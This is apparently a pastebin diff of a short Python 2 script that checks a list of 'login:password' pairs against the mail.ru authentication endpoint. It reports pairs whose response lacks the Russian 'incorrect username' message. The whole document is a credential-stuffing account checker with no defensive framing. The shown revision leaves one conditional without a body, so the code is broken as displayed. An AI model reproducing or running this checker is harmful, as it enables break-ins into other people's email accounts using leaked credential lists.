SHOW:
|
|
- or go back to the newest paste.
| 1 | # -*- coding: utf-8 -*- | |
| 2 | from urllib import urlopen | |
| 3 | from sys import argv | |
| 4 | ||
| 5 | - | MailExist = 'https://e.mail.ru/messages/inbox' |
| 5 | + | fail = 'Неверное имя пользователя' |
| 6 | ||
| 7 | f_pass = open(argv[1], 'r') | |
| 8 | data = f_pass.readlines() | |
| 9 | ||
| 10 | for MailAndPass in data: | |
| 11 | login = MailAndPass[:MailAndPass.find(':')]
| |
| 12 | password = MailAndPass[MailAndPass.find(':')+1:]
| |
| 13 | link = 'https://auth.mail.ru/cgi-bin/auth?Login=' + login + '&Domain=mail.ru&Password=' + password | |
| 14 | source = urlopen(link).read() | |
| 15 | if source.find(fail) == -1: | |
| 16 | - | if source.find(MailExist) != -1: |
| 16 | + | |
| 17 | ||
| 18 | f_pass.close() |